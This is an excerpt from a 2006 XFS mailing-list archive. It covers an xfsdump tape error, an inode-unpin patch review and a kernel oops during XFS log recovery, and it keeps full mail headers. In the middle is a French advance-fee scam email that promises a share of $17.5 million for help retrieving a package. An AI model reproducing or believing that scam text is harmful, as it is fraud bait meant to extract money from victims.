that is the issue, particularly since the error code is for device busy, but it is one difference that I can think of why tar might work but dump not here. Why it was working before, however, is a good question then. --Tim From owner-xfs@oss.sgi.com Wed Oct 18 21:59:50 2006 Received: with ECARTIS (v1.0.0; list xfs); Wed, 18 Oct 2006 21:59:57 -0700 (PDT) Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with SMTP id k9J4xlaG024882 for ; Wed, 18 Oct 2006 21:59:49 -0700 Received: from snort.melbourne.sgi.com (snort.melbourne.sgi.com [134.14.54.149]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id OAA08577; Thu, 19 Oct 2006 14:58:56 +1000 Received: from snort.melbourne.sgi.com (localhost [127.0.0.1]) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5) with ESMTP id k9J4ws7Y11009486; Thu, 19 Oct 2006 14:58:54 +1000 (AEST) Received: (from dgc@localhost) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5/Submit) id k9J4wphS11017182; Thu, 19 Oct 2006 14:58:51 +1000 (AEST) Date: Thu, 19 Oct 2006 14:58:51 +1000 From: David Chinner To: Takenori Nagano Cc: xfs@oss.sgi.com Subject: Re: [patch] Fix xfs_iunpin() sets I_DIRTY_SYNC after clear_inode(). Message-ID: <20061019045851.GZ11034@melbourne.sgi.com> References: <45237CCE.4010007@ah.jp.nec.com> <20061006032617.GC11034@melbourne.sgi.com> <20061011064357.GN19345@melbourne.sgi.com> <452E32FF.8010109@ah.jp.nec.com> <20061013014651.GC19345@melbourne.sgi.com> <452F83BD.8050501@ah.jp.nec.com> <20061017020218.GE8394166@melbourne.sgi.com> <20061018023325.GL8394166@melbourne.sgi.com> <20061018090701.GU11034@melbourne.sgi.com> <4536E186.5040301@ah.jp.nec.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <4536E186.5040301@ah.jp.nec.com> User-Agent: Mutt/1.4.2.1i X-archive-position: 9355 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: dgc@sgi.com Precedence: bulk X-list: xfs Status: O On Thu, Oct 19, 2006 at 11:23:02AM +0900, Takenori Nagano wrote: > Hi David, > > I'm testing your three patches. > I am not seeing any degradation with your patches. That is good to hear ;) > But I think the patch that I attach to this mail is necessary. > Isn't it? I don't think so - in the lookup code where we find an existing inode, we don't destroy the inode if XFS_IRECLAIMABLE is set. Instead we do a log force and repeat the lookup. We only destroy the inode in xfs_iget_core() if we raced with another thread reading the inode in off disk after the cache lookup has failed. In this case, we free the inode we read off disk which, by definition, cannot be dirty or pinned at this point so we don't need to wait for anything to be unpinned. In the case of reclaim, when we flush a dirty inode we already do a xfs_iunpin_wait() (xfs_finish_reclaim()->xfs_iflush()->wait) so we should never get to the point of xfs_idestroy with an inode that is still pinned. Hence I don't think this is patch is necessary. Did I miss something that I shouldn't have, Takenori? FYI, the three patches have survived my testing for almost a day now, so if they pass your testing I think we have a viable fix. I'll sned out a set of updated patches later this afternoon. Cheers, Dave. -- Dave Chinner Principal Engineer SGI Australian Software Group From owner-xfs@oss.sgi.com Thu Oct 19 04:55:11 2006 Received: with ECARTIS (v1.0.0; list xfs); Thu, 19 Oct 2006 04:55:21 -0700 (PDT) Received: from omx1.americas.sgi.com (omx1.americas.sgi.com [198.149.16.13]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9JBt9aG024172 for ; Thu, 19 Oct 2006 04:55:11 -0700 Received: from imr2.americas.sgi.com (imr2.americas.sgi.com [198.149.16.18]) by omx1.americas.sgi.com (8.12.10/8.12.9/linux-outbound_gateway-1.1) with ESMTP id k9JAtTnx010002 for ; Thu, 19 Oct 2006 05:55:29 -0500 Received: from [134.15.160.17] (vpn-emea-sw-emea-160-17.emea.sgi.com [134.15.160.17]) by imr2.americas.sgi.com (8.12.9/8.12.10/SGI_generic_relay-1.2) with ESMTP id k9JAkbDu61565431; Thu, 19 Oct 2006 03:46:38 -0700 (PDT) Message-ID: <453759ED.7070805@sgi.com> Date: Thu, 19 Oct 2006 11:56:45 +0100 From: Lachlan McIlroy Reply-To: lachlan@SGI.com Organization: SGI User-Agent: Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.7.12) Gecko/20050920 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Timothy Shimmin CC: John Cresswell , xfs@oss.sgi.com Subject: Re: Xfsdump error References: <200610180935.k9I9ZKYD014552@smartpet.ph.liv.ac.uk> <80F9EC9DBCD1D89054F253DC@timothy-shimmins-power-mac-g5.local> In-Reply-To: <80F9EC9DBCD1D89054F253DC@timothy-shimmins-power-mac-g5.local> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 9356 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: lachlan@SGI.com Precedence: bulk X-list: xfs Status: O Timothy Shimmin wrote: > Hi John, > > --On 18 October 2006 10:35:20 AM +0100 John Cresswell > wrote: > >> I hope sombody can help me with this problem. >> I have had to physically move our server, and >> though connections and tape drives are the same, backups no longer work. > > > OOI, Did you change anything else? The kernel or st driver? > What version of xfsdump? > >> The tape drive can be written and read OK using tar, for example, >> but not using xfsdump. A truncated example follows ... >> >> xfsdump: using scsi tape (drive_scsitape) strategy > > ... > >> xfsdump: estimated dump size: 81317119424 bytes >> xfsdump: estimated dump header size: 19318112 bytes >> xfsdump: estimated component sizes: global hdr: 1337006139379712 >> bytes, inomap: 81616060935045120 >> bytes, dir entries: 734544548415406080 bytes, file hdrs: >> 16395459996558557184 bytes, datasz: >> 578909639576387602 bytes xfsdump: drive op: init > > > hmmm, ridiculous size numbers but this wouldn't effect you > I don't believe. > >> xfsdump: drive op: sync >> xfsdump: Media op: begin media file >> xfsdump: drive op: begin read >> xfsdump: preparing drive >> xfsdump: tape op: opening drive >> xfsdump: tape op: get status >> xfsdump: tape status = bot onl >> xfsdump: tape op: get block size info >> xfsdump: max=1048576 cur=0 >> xfsdump: variable block size tape drive at /dev/st0 >> xfsdump: tape op: get block size info >> xfsdump: max=1048576 cur=0 >> xfsdump: recommended tape media file size set to 0x7fffffffffffffff bytes >> xfsdump: recommended tape media mark separation set to 0x1000000 bytes >> xfsdump: determining tape record size: trying 1048576 (0x100000) bytes >> xfsdump: tape op: get status >> xfsdump: tape status = bot onl >> xfsdump: tape positioned at BOT: doing redundant rewind >> xfsdump: tape op: rewind 0 >> xfsdump: tape op: get status >> xfsdump: tape status = bot onl >> xfsdump: tape op: reading 1048576 bytes >> xfsdump: tape op read of 1048576 bytes failed: errno == 16 (Device or >> resource busy) >> xfsdump: tape op: get status >> xfsdump: tape status = onl >> xfsdump: ERROR: unexpected tape error: errno 16 nread -1 blksz 1048576 >> recsz 1048576 isvar 1 >> wasatbot 1 eod 0 fmk 0 eot 0 onl 1 wprot 0 ew 0 xfsdump: ERROR: >> unexpected error from >> do_begin_read: 10 > > > Looks like it is just doing a read of 1,048,576 bytes and failing with > error 16. > Although, after the read the tape is no longer at the start (BOT). > IIRC, tar uses fairly small record sizes for I/O - 10K or so. > Perhaps you could try dd'ing various size blocks from the tape and see > what works. > IIRC, Kai Makisara (scsi tape driver guy) later recommended using a > block size > of 256K (262144 bytes) - reckoned that was big enough for streaming. > So you might like to try running with "-b 262144" for dump and restore. > It may not be the size of the read that is the issue, particularly since > the error code is for device busy, but it is one difference that I can > think > of why tar might work but dump not here. Why it was working before, > however, > is a good question then. > Is it possible that another process is accessing the tape drive? From owner-xfs@oss.sgi.com Thu Oct 19 05:39:52 2006 Received: with ECARTIS (v1.0.0; list xfs); Thu, 19 Oct 2006 05:40:01 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9JCdpaG029923 for ; Thu, 19 Oct 2006 05:39:52 -0700 X-ASG-Debug-ID: 1161261523-2848-115-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mail.gmx.net (mail.gmx.net [213.165.64.20]) by cuda.sgi.com (Spam Firewall) with SMTP id 0C86E4B5904 for ; Thu, 19 Oct 2006 05:38:43 -0700 (PDT) Received: (qmail invoked by alias); 19 Oct 2006 12:38:40 -0000 Received: from port-212-202-77-183.dynamic.qsc.de (EHLO clx) [212.202.77.183] by mail.gmx.net (mp033) with SMTP; 19 Oct 2006 14:38:40 +0200 X-Authenticated: #20522298 Content-Disposition: inline From: peyytmek@gmx.de To: xfs@oss.sgi.com X-ASG-Orig-Subj: Fwd: Re: xfs mounting problem, hdb1 just freezes Subject: Fwd: Re: xfs mounting problem, hdb1 just freezes Date: Thu, 19 Oct 2006 14:36:13 +0000 User-Agent: KMail/1.9.1 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Message-Id: <200610191436.13773.peyytmek@gmx.de> X-Y-GMX-Trusted: 0 X-Barracuda-Spam-Score: 2.10 X-Barracuda-Spam-Status: No, SCORE=2.10 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=BSF_RULE7568M, BSF_RULE_7582B, NO_REAL_NAME X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23608 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.55 NO_REAL_NAME From: does not include a real name 1.05 BSF_RULE_7582B BODY: Custom Rule 7582B 0.50 BSF_RULE7568M BODY: Custom Rule 7568M X-archive-position: 9357 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: peyytmek@gmx.de Precedence: bulk X-list: xfs Status: O Hello. Thanks for your answer. That's what i have: dmesg print with kernel-2.6.16-gentoo-r3 and an print of xfs_bg. > You could print out the offending inode with xfs_db to show us > what it looks like: $xfs_db -r /dev/hdb1 -c "inode 950759" -c "print". I don't know what you mean with it but i added it anyway. (done with kernel-2.6.18-gentoo if it matters) dmesg, kernel-2.6.16-gentoo-r3 (~23. April): XFS mounting filesystem hdb1 Starting XFS recovery on filesystem: hdb1 (logdev: internal) Access to block zero: fs: inode: 950759 start_block : 0 start_off : 0 blkcnt : 0 extent-state : 0 ------------[ cut here ]------------ kernel BUG at fs/xfs/support/debug.c:57! invalid opcode: 0000 [#1] PREEMPT Modules linked in: CPU: 0 EIP: 0060:[] Not tainted VLI EFLAGS: 00010246 (2.6.16-gentoo-r3 #6) EIP is at cmn_err+0xaf/0xe0 eax: 00000000 ebx: f7876000 ecx: 000034a6 edx: c05ac001 esi: 00000000 edi: c065f300 ebp: 00000000 esp: f7877a18 ds: 007b es: 007b ss: 0068 Process mount (pid: 2233, threadinfo=f7876000 task=f7fd1a70) Stack: <0>c055eb7d c052b8b2 c065f300 00000293 00000000 00000000 f7877b1c 00000000 c02e47c2 00000000 c05506fc f79bdd40 000e81e7 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 f7877afc f7877b1c 00000000 Call Trace: [] xfs_bmap_search_extents+0x122/0x130 [] xfs_bunmapi+0x1a1/0x1290 [] _xfs_buf_lookup_pages+0x1d9/0x2d0 [] activate_page+0x9d/0xb0 [] xfs_iformat_btree+0x120/0x240 [] kmem_zone_alloc+0x90/0xc0 [] xfs_trans_log_inode+0x2d/0x60 [] xfs_itruncate_finish+0x2a4/0x430 [] xfs_inactive+0x4c3/0x5e0 [] xfs_itobp+0xe9/0x250 [] linvfs_clear_inode+0x61/0x90 [] clear_inode+0xd8/0xf0 [] generic_delete_inode+0xf7/0x120 [] xlog_recover_process_iunlinks+0x363/0x3e0 [] xlog_recover_finish+0xc0/0xd0 [] xfs_log_mount_finish+0x48/0x60 [] xfs_mountfs+0x938/0x1040 [] __down_failed+0x7/0xc [] xfs_buf_rele+0x25/0xe0 [] xfs_readsb+0x199/0x230 [] xfs_ioinit+0x26/0x50 [] xfs_mount+0x3e8/0x6d0 [] linvfs_fill_super+0xa1/0x1f0 [] snprintf+0x27/0x30 [] disk_name+0x62/0xd0 [] sb_set_blocksize+0x2e/0x60 [] get_sb_bdev+0xdd/0x150 [] linvfs_get_sb+0x2f/0x40 [] linvfs_fill_super+0x0/0x1f0 [] do_kern_mount+0x5b/0xd0 [] do_new_mount+0x83/0xe0 [] do_mount+0x1e5/0x220 [] copy_mount_options+0x60/0xc0 [] sys_mount+0x9f/0xe0 [] syscall_call+0x7/0xb Code: c7 44 24 08 00 f3 65 c0 c7 04 24 7d eb 55 c0 89 44 24 04 e8 a4 95 dd ff ff 74 24 0c 9d ff 4b 14 8b 43 08 a8 08 75 20 85 ed 75 08 <0f> 0b 39 00 c3 6d 53 c0 8b 5c 24 10 8b 74 24 14 8b 7c 24 18 8b <6>Adding 1004020k swap on /dev/hda6. Priority:-1 extents:1 across:1004020k snd: version magic '2.6.16-gentoo-r3 preempt K7 gcc-4.1' should be '2.6.16-gentoo-r3 preempt K7 gcc-3.4' snd_hwdep: version magic '2.6.16-gentoo-r3 preempt K7 gcc-4.1' should be '2.6.16-gentoo-r3 preempt K7 gcc-3.4' snd_util_mem: version magic '2.6.16-gentoo-r3 preempt K7 gcc-4.1' should be '2.6.16-gentoo-r3 preempt K7 gcc-3.4' snd_page_alloc: version magic '2.6.16-gentoo-r3 preempt K7 gcc-4.1' should be '2.6.16-gentoo-r3 preempt K7 gcc-3.4' snd_timer: version magic '2.6.16-gentoo-r3 preempt K7 gcc-4.1' should be '2.6.16-gentoo-r3 preempt K7 gcc-3.4' snd_seq_device: version magic '2.6.16-gentoo-r3 preempt K7 gcc-4.1' should be '2.6.16-gentoo-r3 preempt K7 gcc-3.4' snd_pcm: version magic '2.6.16-gentoo-r3 preempt K7 gcc-4.1' should be '2.6.16-gentoo-r3 preempt K7 gcc-3.4' snd_ac97_bus: version magic '2.6.16-gentoo-r3 preempt K7 gcc-4.1' should be '2.6.16-gentoo-r3 preempt K7 gcc-3.4' snd_ac97_codec: version magic '2.6.16-gentoo-r3 preempt K7 gcc-4.1' should be '2.6.16-gentoo-r3 preempt K7 gcc-3.4' snd_rawmidi: version magic '2.6.16-gentoo-r3 preempt K7 gcc-4.1' should be '2.6.16-gentoo-r3 preempt K7 gcc-3.4' snd_emu10k1: version magic '2.6.16-gentoo-r3 preempt K7 gcc-4.1' should be '2.6.16-gentoo-r3 preempt K7 gcc-3.4' nvidia: module license 'NVIDIA' taints kernel. ACPI: PCI Interrupt 0000:01:00.0[A] -> Link [LNKA] -> GSI 11 (level, low) -> IRQ 11 xfs_db: CLX ~ # xfs_db -r /dev/hdb1 -c "inode 950759" -c "print" core.magic = 0x494e core.mode = 0100644 core.version = 1 core.format = 3 (btree) core.nlinkv1 = 0 core.uid = 1000 core.gid = 100 core.flushiter = 0 core.atime.sec = Sun Aug 27 14:56:52 2006 core.atime.nsec = 657389250 core.mtime.sec = Sun Aug 27 16:29:40 2006 core.mtime.nsec = 080196250 core.ctime.sec = Thu Oct 5 01:17:40 2006 core.ctime.nsec = 976565958 core.size = 32071862 core.nblocks = 7833 core.extsize = 0 core.nextents = 28 core.naextents = 0 core.forkoff = 0 core.aformat = 2 (extents) core.dmevmask = 0 core.dmstate = 0 core.newrtbm = 0 core.prealloc = 0 core.realtime = 0 core.immutable = 0 core.append = 0 core.sync = 0 core.noatime = 0 core.nodump = 0 core.rtinherit = 0 core.projinherit = 0 core.nosymlinks = 0 core.extsz = 0 core.extszinherit = 0 core.gen = 0 next_unlinked = null u.bmbt.level = 1 u.bmbt.numrecs = 1 u.bmbt.keys[1] = [startoff] 1:[0] u.bmbt.ptrs[1] = 1:185933 Am Mittwoch, 18. Oktober 2006 06:54 schrieben Sie: > Hi, > > --On 16 October 2006 9:14:35 PM +0000 peyytmek@gmx.de wrote: > > I've got a problem with my xfs-partition after my pc crashed. > > Every programm that tries to use hdb1 just freezes like mount or even > > xfs_check (even killall -9 proc-name doesn't help) > > > > thats what i get with dmesg. maybe someone of you can understand it. > > It was in the log recovery code. > Part of the recovery code processes the unlinked list, which has > referenced inodes which have been unlinked from their parent directories. > On the unclean unmount ("pc crashed"), during recovery it is supposed > to delete these inodes and truncate their extents, so it can recover > the space etc... > During this processing we've died in xfs_bmap_search_extents when > it detects an error it calls xfs_cmn_err CE_ALERT -> cmn_err CE_PANIC > in support/debug.c. > I guess there is a problem after it processes the extents in > xfs_bmap_search_multiextents which sets up the found extent entry. > You could print out the offending inode with xfs_db to show us > what it looks like: $xfs_db -r /dev/hdb1 -c "inode 950759" -c "print". > > Interestingly with an older xfs we never did inode unlink processing > because of a double endian conversion bug which Shailendra found. > So without the fix, it ended up just skipping over these inodes and > they were cleaned up until xfs_repair was used; but it would still > do the actual log replay nonetheless. > > So it would be interesting to do a recovery without unlinked-list > processing. It looks like we have a mount flag for this but > are not setting it (used by something else) - d'oh. > Do you have a kernel dated prior to May 26? > It might be interesting to mount with it since it didn't do > the unlink processing effectively. Then one could unmount straight > afterwards and run repair. > > --Tim > > > thanks in advance. > > > > dmesg on hdb1 on boot: > > > > XFS mounting filesystem hdb1 > > Starting XFS recovery on filesystem: hdb1 (logdev: internal) > > Access to block zero: fs: inode: 950759 start_block : 0 start_off > > > > : 0 blkcnt : 0 extent-state : 0 > > > > ------------[ cut here ]------------ > > kernel BUG at fs/xfs/support/debug.c:57! > > invalid opcode: 0000 [#1] > > PREEMPT > > Modules linked in: > > CPU: 0 > > EIP: 0060:[] Not tainted VLI > > EFLAGS: 00010246 (2.6.18-gentoo #7) > > EIP is at cmn_err+0xb9/0xe0 > > eax: 00000000 ebx: 00000297 ecx: ffffffff edx: 00004301 > > esi: f78c97a0 edi: c064e2e0 ebp: 00000000 esp: f7c9b75c > > ds: 007b es: 007b ss: 0068 > > Process mount (pid: 2114, ti=f7c9a000 task=f7c5d050 task.ti=f7c9a000) > > Stack: c0556f3b c052284a c064e2e0 f7c9b788 f7c9b8f8 f78c97a0 f7c9b93c > > 00000000 c02dec27 00000000 c0548610 f7cd54c0 000e81e7 00000000 00000000 > > 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000001 > > 00000000 Call Trace: > > [] xfs_bmap_search_extents+0x117/0x120 > > [] xfs_bunmapi+0x1d4/0x1db0 > > [] ide_dma_exec_cmd+0x30/0x40 > > [] ide_dma_start+0x33/0x50 > > [] ide_do_request+0x682/0x830 > > [] ide_end_request+0x14c/0x160 > > [] mempool_alloc+0x38/0x120 > > [] mempool_alloc+0x38/0x120 > > [] as_set_request+0x26/0x80 > > [] find_lock_page+0x2c/0xc0 > > [] xfs_bunmapi+0x0/0x1db0 > > [] xfs_itruncate_finish+0x28f/0x460 > > [] xfs_inactive+0x668/0xca0 > > [] xfs_buf_get_flags+0x293/0x4a0 > > [] xfs_buf_read_flags+0x34/0xa0 > > [] xfs_trans_read_buf+0x5c/0x3e0 > > [] xfs_buf_offset+0x44/0x50 > > [] xfs_fs_clear_inode+0x3e/0xa0 > > [] clear_inode+0x5a/0xe0 > > [] generic_delete_inode+0xf6/0x130 > > [] xlog_recover_process_iunlinks+0x559/0x580 > > [] xfs_buf_free+0x5b/0x110 > > [] xlog_recover_finish+0x3d2/0x510 > > [] xfs_initialize_vnode+0x3ab/0x3c0 > > [] xfs_iget+0x429/0x737 > > [] xfs_mountfs+0xe40/0x1060 > > [] default_wake_function+0x0/0x20 > > [] __down_failed+0x7/0xc > > [] generic_unplug_device+0x0/0x40 > > [] xfs_buf_rele+0x25/0xe0 > > [] xfs_mount+0x6e1/0xa60 > > [] xfs_fs_fill_super+0x9d/0x240 > > [] snprintf+0x2b/0x30 > > [] disk_name+0x98/0xd0 > > [] sb_set_blocksize+0x1f/0x50 > > [] get_sb_bdev+0x13b/0x180 > > [] xfs_fs_get_sb+0x37/0x40 > > [] xfs_fs_fill_super+0x0/0x240 > > [] vfs_kern_mount+0x4c/0xa0 > > [] do_kern_mount+0x42/0x60 > > [] do_mount+0x28d/0x730 > > [] link_path_walk+0x7d/0x100 > > [] dput+0x23/0x190 > > [] putname+0x31/0x40 > > [] do_path_lookup+0xb0/0x2e0 > > [] getname+0xb1/0x100 > > [] vfs_stat+0x1f/0x30 > > [] __get_free_pages+0x34/0x60 > > [] copy_mount_options+0x44/0x130 > > [] sys_mount+0x9d/0xe0 > > [] syscall_call+0x7/0xb > > Code: e0 e2 64 c0 c7 04 24 3b 6f 55 c0 89 44 24 04 e8 7e 37 de ff 53 9d > > 89 e0 25 00 e0 ff ff ff 48 14 8b 40 08 a8 08 75 20 85 ed 75 08 <0f> 0b 39 > > 00 b8 ec 52 c0 8b 5c 24 10 8b 74 24 14 8b 7c 24 18 8b > > EIP: [] cmn_err+0xb9/0xe0 SS:ESP 0068:f7c9b75c > > <6>Adding 1004020k swap on /dev/hda6. Priority:-1 extents:1 > > across:1004020k ------------------------------------------------------- From owner-xfs@oss.sgi.com Thu Oct 19 06:07:40 2006 Received: with ECARTIS (v1.0.0; list xfs); Thu, 19 Oct 2006 06:07:51 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9JD7caG001548 for ; Thu, 19 Oct 2006 06:07:40 -0700 X-ASG-Debug-ID: 1161259542-14771-337-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from vsmtp2.tin.it (vsmtp2.tin.it [212.216.176.222]) by cuda.sgi.com (Spam Firewall) with ESMTP id 0BF96D19B93F for ; Thu, 19 Oct 2006 05:05:42 -0700 (PDT) Received: from pswm17.cp.tin.it (192.168.70.65) by vsmtp2.tin.it (7.2.072.1) id 451AB62000B8F635; Thu, 19 Oct 2006 13:48:31 +0200 Message-ID: <10e6066aa90.safiafeddag80@virgilio.it> Date: Thu, 19 Oct 2006 12:48:31 +0100 (GMT+01:00) From: safia feddag Reply-To: safiafeddag6@yahoo.fr X-ASG-Orig-Subj: Salam , Subject: Salam , Mime-Version: 1.0 Content-Type: text/plain;charset="UTF-8" X-Originating-IP: 196.201.74.170 X-Barracuda-Spam-Score: 0.32 X-Barracuda-Spam-Status: No, SCORE=0.32 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=MISSING_HEADERS, TO_CC_NONE X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23606 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.19 MISSING_HEADERS Missing To: header 0.13 TO_CC_NONE No To: or Cc: header To: undisclosed-recipients:; Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id k9JD7faG001588 X-archive-position: 9358 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: safiafeddag80@virgilio.it Precedence: bulk X-list: xfs Status: O Salam , Je vous avoue que cela me ferait plaisir de lier plus qu'une amitié avec vous et du fond du coeur je souhaiterais sincèrement vous rencontrer et vous connaitre davantage. Mais avant, je tiens à me présenter à vous. Je me nommes FEDDAG Safia ,je suis de nationalité Algérienne et je vis en Irak . je suis dans ce pays depuis plus de 13 ans et j'était au service de monsieur Nizar Hamboum . J'avais pour rôle de veiller sur le bon fonctionnement de la résidence à Moussoul et à m'occuper de tout ce qui est comme factures et charges a régler . J'étais en quelque sorte le majordome et j'avais connaissance de plusieurs chosesque mon maître faisait et à quoi il était exposé. Monsieur Nizar avait occupé plusieurs postes importants dans le pays et le monde entier. Il fut de 1993 à 1999, ambassadeur des nations unis a New York ;ministre des affaires étrangères et aussi député dans son pays. Il a été un membre influant dans la médiation des relations entre les Etats Unis et l'Irak dans les années 1980 . Il trouva la mort le vendredi 5juillet 2003 à New York au centre commémoratif de cancer de Sloan-Kettering des suite d'une crise cardiaque. Mon maître m'avait demandé de suivre le dépôt dans une société de surveillance et de conservation de biens privés, d'un colis c'est a dire une mallette qui contenait la somme de 17.500.000 dollars $ (dix sept millions cinq centmilles dollars méricains).Il m'avait demandé d'effectuer ce dépôt à mon nom et lui en faire le rapport car il souhaitait une discrétion et la sécurité pour son bien . Il m'a demandé de codifié le colis comme étant un bien familial pour les raisons de sécurité de ce fond et pour éviter des problèmes avec le gouvernement .Même la société n'est pas informée du contenu du colis car le colis a été codé comme un bien familial et donc privé. Avant que la guerre n'éclate , mon maître m'a demandé de prendre immédiatement contact avec la société afin de faire sortir le colis du pays car cette somme était destinée pour des investissements a l'étranger . Il souhaitait construire un hôtel en Arabie Saoudite . C'est après des renseignements auprès de la société qu'ils m'ont fait savoir qu'ils pouvaient faire mettre le colis dans un autre lieu mais cela se fera en Afrique ou se trouve leur base plus précisément en Cote d'ivoire. J'ai remercié DIEU car pour moi cela était mieux et ce pays n'est pas très loin de mon pays l'Algérie et surtout il est en Afrique. Je viens vers vous pour solliciter votre aide afin de m'aider à retirer cette mallette de ce pays et de m'aider à quitter l'Irak pour votre pays. Je voudrais que vous sachez que ce que je fais n'est connu de personne ni même de sa famille car longtemps j'ai été a leur service et sous ce règne barbare qu'offre ce pays et je n'ai rien eu comme garantie pour la vie et je suis fatigué de vivre en esclave toute ma vie .Comme DIEU ne dort pas il a permit que ce bien soit en ma possession et que je sois la seul qui soit informer de son existence . Je voudrais que vous sachiez que l'aide que vous m'apporterez ne sera pas vain car j'ai prévu que pour votre aide vous recevrez 25% de la somme totale 17.500.000 $).Je détiens toutes les informations et les documents de l'existence de ce bien . Je voudrais que vous me fassiez savoir si vous souhaitez me venir en aide afin que je vous communiques les informations sur ce bien et la société qui a la garde afin que vous entrez en contact avec eux pour qu'ils vous fassent parvenir le colis. Je voudrais que vous sachiez que c'est une société diplomatique et en leur donnant une adresse sûr ils vous livrerons le colis . Sachez que le certificat de dépôt ne porte pas de nom du bénéficiaire et qu'il sera facile pour vous de retirer ce colis car il suffira que vous vous présentez comme le bénéficiaire de ce colis. Je voudrais que tout ce que je vous aidis restes secret afin degarantir ma sécurité et la sécurité de ce bien . Je n'ai aucune source de communications que l'ordinateur portable que j'ai dans la chambre donc je m'y contente. Pour plus de sécurité et de discrétion je souhaiterais que vous me comprenez. Merci de votre comprehension. Feddag Safia From owner-xfs@oss.sgi.com Thu Oct 19 06:38:50 2006 Received: with ECARTIS (v1.0.0; list xfs); Thu, 19 Oct 2006 06:39:03 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9JDcnaG005512 for ; Thu, 19 Oct 2006 06:38:50 -0700 X-ASG-Debug-ID: 1161265083-22790-795-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mail.gmx.net (mail.gmx.net [213.165.64.20]) by cuda.sgi.com (Spam Firewall) with SMTP id 4CA12D199F06 for ; Thu, 19 Oct 2006 06:38:03 -0700 (PDT) Received: (qmail invoked by alias); 19 Oct 2006 12:38:02 -0000 Received: from port-212-202-77-183.dynamic.qsc.de (EHLO clx) [212.202.77.183] by mail.gmx.net (mp046) with SMTP; 19 Oct 2006 14:38:02 +0200 X-Authenticated: #20522298 Content-Disposition: inline From: peyytmek@gmx.de To: xfs@oss.sgi.com X-ASG-Orig-Subj: Fwd: Re: xfs mounting problem, hdb1 just freezes Subject: Fwd: Re: xfs mounting problem, hdb1 just freezes Date: Thu, 19 Oct 2006 14:35:47 +0000 User-Agent: KMail/1.9.1 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Message-Id: <200610191435.47390.peyytmek@gmx.de> X-Y-GMX-Trusted: 0 X-Barracuda-Spam-Score: 2.10 X-Barracuda-Spam-Status: No, SCORE=2.10 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=BSF_RULE7568M, BSF_RULE_7582B, NO_REAL_NAME X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23609 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.55 NO_REAL_NAME From: does not include a real name 1.05 BSF_RULE_7582B BODY: Custom Rule 7582B 0.50 BSF_RULE7568M BODY: Custom Rule 7568M X-archive-position: 9359 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: peyytmek@gmx.de Precedence: bulk X-list: xfs Status: O ---------- Weitergeleitete Nachricht ---------- Subject: Re: xfs mounting problem, hdb1 just freezes Date: Donnerstag, 19. Oktober 2006 14:33 From: peyytmek@gmx.de To: Timothy Shimmin Hello. Thanks for your answer. That's what i have: dmesg print with kernel-2.6.16-gentoo-r3 and an print of xfs_bg. > You could print out the offending inode with xfs_db to show us > what it looks like: $xfs_db -r /dev/hdb1 -c "inode 950759" -c "print". I don't know what you mean with it but i added it anyway. (done with kernel-2.6.18-gentoo if it matters) dmesg, kernel-2.6.16-gentoo-r3 (~23. April): XFS mounting filesystem hdb1 Starting XFS recovery on filesystem: hdb1 (logdev: internal) Access to block zero: fs: inode: 950759 start_block : 0 start_off : 0 blkcnt : 0 extent-state : 0 ------------[ cut here ]------------ kernel BUG at fs/xfs/support/debug.c:57! invalid opcode: 0000 [#1] PREEMPT Modules linked in: CPU: 0 EIP: 0060:[] Not tainted VLI EFLAGS: 00010246 (2.6.16-gentoo-r3 #6) EIP is at cmn_err+0xaf/0xe0 eax: 00000000 